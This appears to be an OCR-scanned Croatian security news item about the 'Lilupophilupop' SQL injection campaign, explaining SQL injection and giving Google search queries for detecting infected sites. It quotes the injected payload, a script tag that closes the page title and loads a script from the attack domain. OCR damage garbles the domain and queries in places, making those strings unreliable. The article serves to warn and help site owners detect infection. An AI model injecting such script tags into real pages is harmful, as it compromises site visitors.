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Lilupophilupop inficirao milijun web stranica

SQL injection (SQLi) je napad koji ne koristi neku pojedinacnu ranjivost u softveru, ve¢ se oslanja na
nedovoljnu provjeru unesenih vrijednosti u web aplikacijama. Na primjer, tamo gdje treba unijeti
korisni¢ko ime i zaporku upise se posebno oblikovan SQL upit. Ako aplikacija ne provjerava unos,
napadac¢ moze otvoriti ra¢un u bazi, preuzeti web aplikaciju, ili, u najgorem slucaju, preuzeti kontrolu
nad operativnim sustavom.
Najnoviji u nizu takvih napada zapoceo je krajem prosle godine i jos traje. Inficirane stranice
prepoznaju se po tome sto je u HTML kod ubacen poziv skripte s domenom komi¢nog imena, po kojoj
je napad dobio ime:

"></title><script src="http://lilupophil upop.conisl.php"></script>.
Inficirane stranice mozete pronadi jednostavnom pretragom na Googlu. Na primjer, da biste provjerili
da li je vas web inficiran, u trazilici upisite:
si te: <vaSadonena>. hr <script src="http://1il upophilupop.com

Treba li re¢i da ¢ete umjesto <vasadomena> upisati stvarni URL vase domene?

Ako vas zanima da li su neki siteovi u Hrvatskoj zarazeni, upiSite:

site:.hr <script src="http://1ilupophil upop.conf

Isto moZzete napraviti za ostale vrSne domene.

Kad tako otkrijete zarazene stranice, nemojte ih otvarati, da ne biste dozivjeli neugodno iznenadenje.
lako se brojka od milijun zarazenih stranica ¢ini velikom, stru¢njaci tvrde da je broj siteova koji su
podlozni SQLi napadu zapravo neprestano opada, jer se Siri svijest o ranjivosti, a s time se i

popravljaju propusti u aplikacijama.
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